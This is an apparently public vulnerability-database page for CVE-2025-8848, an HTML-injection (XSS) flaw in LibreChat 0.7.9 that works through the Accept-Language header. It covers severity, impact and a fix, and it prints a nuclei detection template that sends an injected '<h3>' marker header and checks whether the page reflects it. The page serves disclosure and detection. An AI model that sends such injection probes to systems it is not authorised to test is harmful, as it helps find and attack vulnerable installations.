HexBrain

Browse / CVEs / CVE-2025-8848

CVE-2025-8848· CWE-79

LibreChat <= 0.7.9 - HTML Injection via Accept-Language Header

mediumseverity
5.4CVSS score
0.5%likelihood of exploitation, next 30 days
40%of all CVEs are less likely
Readycheck to confirm it

danny-avila/librechat 0.7.9 contains a stored XSS caused by improper sanitization of the Accept-Language header, letting logged-in users inject arbitrary HTML into the html lang= tag, exploit requires user to be logged in.

Impact

Logged-in attackers can inject arbitrary HTML leading to cross-site scripting attacks, potentially compromising user sessions or data.

Fix

Update to the latest version where this issue is fixed.

How to confirm it

Send: GET {{BaseURL}}/
Positive when: contains "<html lang=\"<h3>{{marker}}</h3>\">" and "LibreChat" AND status 200

Run it with nuclei: nuclei -id CVE-2025-8848 -u <target>

The full check
id: CVE-2025-8848

info:
  name: LibreChat <= 0.7.9 - HTML Injection via Accept-Language Header
  author: Kazgangap
  severity: medium
  description: |
    danny-avila/librechat 0.7.9 contains a stored XSS caused by improper sanitization of the Accept-Language header, letting logged-in users inject arbitrary HTML into the html lang= tag, exploit requires user to be logged in.
  impact: |
    Logged-in attackers can inject arbitrary HTML leading to cross-site scripting attacks, potentially compromising user sessions or data.
  remediation: |
    Update to the latest version where this issue is fixed.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-8848
    - https://huntr.com/bounties/a05ebc1f-882a-4adc-b178-d3cefa4b730e
    - https://github.com/danny-avila/LibreChat
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2025-8848
    epss-score: 0.00453
    epss-percentile: 0.39617
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="LibreChat"
  tags: cve,cve2025,librechat,html-injection,vuln

variables:
  marker: "{{rand_base(20)}}"

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
    headers:
      Accept-Language: "<h3>{{marker}}</h3>"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '<html lang="<h3>{{marker}}</h3>">'
          - 'LibreChat'
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from